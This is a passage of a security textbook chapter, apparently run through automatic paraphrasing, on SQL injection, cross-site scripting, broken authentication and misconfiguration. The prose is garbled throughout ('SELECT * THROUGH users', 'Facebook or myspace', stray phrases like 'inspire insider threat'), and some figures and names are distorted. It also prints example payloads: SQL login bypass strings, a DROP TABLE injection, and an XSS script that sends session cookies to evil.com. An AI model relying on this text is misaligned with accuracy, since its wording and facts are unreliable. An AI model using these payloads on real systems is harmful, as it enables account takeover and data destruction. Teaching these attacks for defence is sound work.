# Chapter 5: Threat Landscape and Common Vulnerabilities
Every single application operates in a setting full regarding threats – harmful actors constantly looking for weaknesses to exploit. Understanding the risk landscape is important for defense. In this chapter, we'll survey the most common forms of application vulnerabilities and attacks seen in the particular wild today. We will discuss how these people work, provide actual examples of their écrasement, and introduce best practices to prevent these people. This will lay down the groundwork at a later time chapters, which will delve deeper straight into how to build security directly into the development lifecycle and specific defenses.
Over the years, certain categories associated with vulnerabilities have appeared as perennial problems, regularly appearing within security assessments plus breach reports. Business resources just like the OWASP Top 10 (for web applications) in addition to CWE Top twenty five (common weaknesses enumeration) list these usual suspects. Let's explore some of the major ones:
## Injection Attacks (SQL, Command Injection, and so forth. )
- **Description**: Injection flaws take place when an software takes untrusted insight (often from an user) and feeds it into an interpreter or control in a manner that alters the intended execution. The particular classic example will be SQL Injection (SQLi) – where user input is concatenated into an SQL query without right sanitization, allowing the user to utilize their own SQL commands. Similarly, Command word Injection involves treating OS commands, LDAP Injection into LDAP queries, NoSQL Shot in NoSQL databases, and so on. Essentially, the application form falls flat to distinguish information from code instructions.
- **How that works**: Consider a simple login form that takes an username and password. If typically the server-side code naively constructs a question just like: `SELECT * THROUGH users WHERE username = 'alice' PLUS password = 'mypassword'; `, an opponent can input a thing like `username: alice' OR '1'='1` and `password: anything`. The resulting SQL would become: `SELECT * BY users WHERE login = 'alice' OR EVEN '1'='1' AND username and password = 'anything'; `. The `'1'='1'` issue always true may make the query return all customers, effectively bypassing typically the password check. This particular is a simple sort of SQL injection to force a login.
More maliciously, an attacker can terminate the question through adding `; FALL TABLE users; --` to delete the particular users table (a destructive attack upon integrity) or `; SELECT credit_card THROUGH users; --` in order to dump sensitive info (a confidentiality breach).
- **Real-world impact**: SQL injection has been behind a number of the largest data breaches on record. All of us mentioned the Heartland Payment Systems break the rules of – in 08, attackers exploited the SQL injection in the web application to ultimately penetrate interior systems and grab millions of credit rating card numbers
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. Another situation: the TalkTalk 2015 breach in the UK, wherever a teenager applied SQL injection to get into the personal data of over one hundred fifty, 000 customers. Typically the subsequent investigation uncovered TalkTalk had left an obsolete web site with a known SQLi flaw on the internet, and hadn't patched a database vulnerability from 2012
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. TalkTalk's CEO identified it as a basic cyberattack; without a doubt, SQLi was well-understood for a ten years, yet the company's failure to sanitize inputs and update software generated a serious incident – they were fined and suffered reputational loss.
These cases show injection assaults can compromise confidentiality (steal data), sincerity (modify or remove data), and availability (if data is definitely wiped, service will be disrupted). Even right now, injection remains a common attack vector. In fact, OWASP's 2021 Top Eight still lists Injection (including SQL, NoSQL, command injection, etc. ) as being a top risk (category A03: 2021)
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- **Defense**: The primary defense towards injection is reviews validation and result escaping – make certain that any untrusted data is treated simply because pure data, never ever as code. Applying prepared statements (parameterized queries) with destined variables is a new gold standard with regard to SQL: it isolates the SQL signal in the data principles, so even if an user gets into a weird thread, it won't break the query framework. For example, using a parameterized query in Java with JDBC, the previous logon query would end up being `SELECT * BY users WHERE login =? AND pass word =? `, plus the `? ` placeholders are certain to user inputs safely and securely (so `' OR PERHAPS '1'='1` would be treated literally because an username, which often won't match just about any real username, quite than part associated with SQL logic). Identical approaches exist with regard to other interpreters.
Upon top of that, whitelisting input acceptance can restrict what characters or formatting is allowed (e. g., an login name may be restricted in order to alphanumeric), stopping many injection payloads in the front door
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. Furthermore, encoding output appropriately (e. g. HTML encoding to stop script injection) is key, which we'll cover under XSS.
Developers should never directly include raw input in orders. Secure frameworks in addition to ORM (Object-Relational Mapping) tools help by simply handling the issue building for an individual. Finally, least privilege helps mitigate effects: the database bank account used by typically the app should have only necessary rights – e. h. it will not have DROP TABLE legal rights if not necessary, to prevent an injection from doing irreparable harm.
## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting identifies a class of weaknesses where an software includes malicious intrigue within the context of a trusted site. Unlike injection directly into a server, XSS is about inserting to the content that other users see, usually inside a web web site, causing victim users' browsers to perform attacker-supplied script. Right now there are a number of types of XSS: Stored XSS (the malicious script is stored on typically the server, e. gary the gadget guy. in the database, plus served to other users), Reflected XSS (the script is reflected from the machine immediately within a reply, often with a research query or problem message), and DOM-based XSS (the vulnerability is in client-side JavaScript that insecurely manipulates the DOM).
- **How this works**: Imagine a note board where customers can post comments. If the software would not sanitize HTML CODE tags in remarks, an attacker can post a comment like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any customer who views that comment will by mistake run the script in their internet browser. The script above would send typically the user's session cookie to the attacker's server (stealing their very own session, hence allowing the attacker to impersonate them on the site – a confidentiality and integrity breach).
In the reflected XSS scenario, maybe the site shows your type with an error page: should you pass a script in typically the URL plus the web site echoes it, that will execute within the browser of whomever clicked that harmful link.
Essentially, XSS turns the victim's browser into a good unwitting accomplice.
rapid **Real-world impact**: XSS can be extremely serious, especially in highly trusted sites (like social networks, webmail, banking portals). A new famous early illustration was the Samy worm on Web sites in 2005. A person named Samy learned a stored XSS vulnerability in Facebook or myspace profiles. He constructed a worm: a new script that, when any user viewed his profile, that would add him or her as a buddy and copy the script to typically the viewer's own user profile. tool integration , anyone more viewing their profile got infected too. Within just twenty hours of relieve, over one thousand users' profiles experienced run the worm's payload, making Samy one of many fastest-spreading viruses of time
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. Typically the worm itself just displayed the term "but most involving all, Samy is my hero" on profiles, a relatively harmless prank
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. Nevertheless, it was a wake-up call: if a good XSS worm could add friends, this could just as easily make stolen personal messages, spread junk, or done various other malicious actions on behalf of users. Samy faced lawful consequences for this kind of stunt
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In another scenario, XSS can be used to hijack accounts: for instance, a shown XSS inside a bank's site could possibly be exploited via a phishing email that tricks an user straight into clicking an WEB LINK, which then executes a script to be able to transfer funds or steal session tokens.
XSS vulnerabilities need been present in internet sites like Twitter, Myspace (early days), and countless others – bug bounty courses commonly receive XSS reports. While many XSS bugs are involving moderate severity (defaced UI, etc. ), some can be essential if they enable administrative account takeover or deliver malware to users.
-- **Defense**: The essence of XSS defense is output coding. Any user-supplied content that is shown inside a page have to be properly escaped/encoded so that that can not be interpreted while active script. With regard to example, in the event that a consumer writes ` bad() ` in an opinion, the server need to store it and after that output it while `< script> bad()< /script> ` so that it shows up as harmless textual content, not as an actual script. Contemporary web frameworks usually provide template engines that automatically break free variables, which prevents most reflected or perhaps stored XSS simply by default.
Another important defense is Content material Security Policy (CSP) – a header that instructs web browsers to execute intrigue from certain resources. A well-configured CSP can mitigate typically the impact of XSS by blocking in-line scripts or outside scripts that aren't explicitly allowed, even though CSP can be complex to set up without affecting site functionality.
For programmers, it's also crucial to stop practices want dynamically constructing CODE with raw info or using `eval()` on user input in JavaScript. Web applications can also sanitize input to be able to strip out banned tags or attributes (though it is challenging to get perfect). In summary: confirm and sanitize any kind of HTML or JavaScript inputs, use context-appropriate escaping (HTML break free for HTML information, JavaScript escape for data injected directly into scripts, etc. ), and consider permitting browser-side defenses like CSP.
## Cracked Authentication and Session Management
- **Description**: These vulnerabilities entail weaknesses in exactly how users authenticate to be able to the application or even maintain their verified session. "Broken authentication" can mean many different issues: allowing weakened passwords, not avoiding brute force, faltering to implement correct multi-factor authentication, or exposing session IDs. "Session management" is usually closely related – once an customer is logged found in, the app usually uses a treatment cookie or token to remember them; in case that mechanism is usually flawed (e. grams. predictable session IDs, not expiring sessions, not securing the cookie), attackers may possibly hijack other users' sessions.
- **How it works**: One common example is websites that made overly simple username and password requirements or acquired no protection towards trying many accounts. Attackers exploit this particular by using abilities stuffing (trying username/password pairs leaked from all other sites) or brute force (trying several combinations). If generally there will be no lockouts or even rate limits, an attacker can methodically guess credentials.
An additional example: if an application's session dessert (the piece of info that identifies the logged-in session) will be not marked with the Secure flag (so it's sent more than HTTP as well as HTTPS) or even not marked HttpOnly (so it can be accessible to scripts), it may be lost via network sniffing at or XSS. As soon as an attacker features a valid session token (say, thieved from an unconfident Wi-Fi or via an XSS attack), they will impersonate that user without requiring credentials.
There include also been logic flaws where, for instance, the password reset functionality is usually weak – maybe it's prone to a good attack where an attacker can reset someone else's password by modifying guidelines (this crosses into insecure direct thing references / access control too).
Total, broken authentication addresses anything that permits an attacker in order to either gain credentials illicitly or avoid the login making use of some flaw.
rapid **Real-world impact**: We've all seen information of massive "credential dumps" – great of username/password sets floating around coming from past breaches. Attackers take these and even try them about other services (because lots of people reuse passwords). This automated abilities stuffing has guided to compromises regarding high-profile accounts on the subject of various platforms.
Among the broken auth was the case in this year where LinkedIn experienced a breach plus 6. 5 thousand password hashes (unsalted SHA-1) were leaked
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. The poor hashing meant assailants cracked most associated with those passwords within hours
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. More serious, a few many years later it flipped out the break the rules of was actually a great deal larger (over a hundred million accounts). Folks often reuse passwords, so that break had ripple results across other web sites. LinkedIn's failing was basically in cryptography (they didn't salt or even use a strong hash), which is usually portion of protecting authentication data.
Another normal incident type: treatment hijacking. For occasion, before most web sites adopted HTTPS almost everywhere, attackers on the same community (like an open Wi-Fi) could sniff pastries and impersonate users – a risk popularized from the Firesheep tool in 2010, which in turn let anyone bug on unencrypted lessons for sites love Facebook. This made web services to encrypt entire classes, not just get access pages.
There are also cases of problematic multi-factor authentication implementations or login bypasses due to reason errors (e. g., an API that will returns different text messages for valid versus invalid usernames could allow an assailant to enumerate consumers, or even a poorly integrated "remember me" token that's easy to be able to forge). The effects involving broken authentication usually are severe: unauthorized entry to user accounts, data breaches, personality theft, or unapproved transactions.
- **Defense**: Protecting authentication takes a multi-pronged approach:
instructions Enforce strong pass word policies but in reason. Current NIST guidelines recommend enabling users to pick long passwords (up to 64 chars) and never requiring frequent changes unless there's indication of compromise
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. Alternatively, check passwords in opposition to known breached username and password lists (to disallow "P@ssw0rd" and typically the like). Also inspire insider threat which are easier to remember although hard to guess.
- Implement multi-factor authentication (MFA). Some sort of password alone is usually often too few these days; providing an alternative (or requirement) to get a second factor, like an one-time code or perhaps a push notification, significantly reduces the hazard of account give up even if account details leak. Many main breaches could include been mitigated simply by MFA.
- Secure the session tokens. Use the Safe flag on snacks so they will be only sent more than HTTPS, HttpOnly thus they aren't obtainable via JavaScript (mitigating some XSS impact), and consider SameSite to prevent these people from being directed in CSRF episodes (more on CSRF later). Make program IDs long, randomly, and unpredictable (to prevent guessing).
-- Avoid exposing treatment IDs in Web addresses, because they can be logged or released via referer headers. Always prefer biscuits or authorization headers.
- Implement account lockout or throttling for login efforts. After say 5-10 failed attempts, both lock the account for a period or perhaps increasingly delay answers. Also use CAPTCHAs or even other mechanisms if automated attempts are detected. However, be mindful of denial-of-service – some web sites opt for much softer throttling to prevent letting attackers lock out users by trying bad account details repeatedly.
- Period timeout and logout: Expire sessions after a reasonable period regarding inactivity, and totally invalidate session tokens on logout. It's surprising how some apps in the particular past didn't effectively invalidate server-side program records on logout, allowing tokens being re-used.
- Focus on forgot password moves. Use secure bridal party or links by way of email, don't disclose whether an user exists or not (to prevent user enumeration), and guarantee those tokens terminate quickly.
Modern frames often handle a new lot of this particular for you personally, but misconfigurations are common (e. grams., a developer might accidentally disable a security feature). Standard audits and assessments (like using OWASP ZAP or some other tools) can catch issues like lacking secure flags or perhaps weak password procedures.
Lastly, monitor authentication events. Unusual habits (like a single IP trying thousands of email usernames, or one bank account experiencing countless failed logins) should raise alarms. This overlaps with intrusion diagnosis.
To emphasize, OWASP's 2021 list telephone calls this category Id and Authentication Problems (formerly "Broken Authentication") and highlights typically the importance of items like MFA, not using default credentials, in addition to implementing proper password handling
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. They note of which 90% of apps tested had challenges in this area in many form, quite mind boggling.
## Security Misconfiguration
- **Description**: Misconfiguration isn't just one weakness per se, although a broad school of mistakes throughout configuring the program or its environment that lead to insecurity. This may involve using arrears credentials or settings, leaving unnecessary attributes enabled, misconfiguring protection headers, or not hardening the server. Essentially, the software might be secure in principle, nevertheless the way it's deployed or configured opens a gap.
- **How this works**: Examples regarding misconfiguration:
- Making default admin accounts/passwords active. Many software program packages or equipment historically shipped along with well-known defaults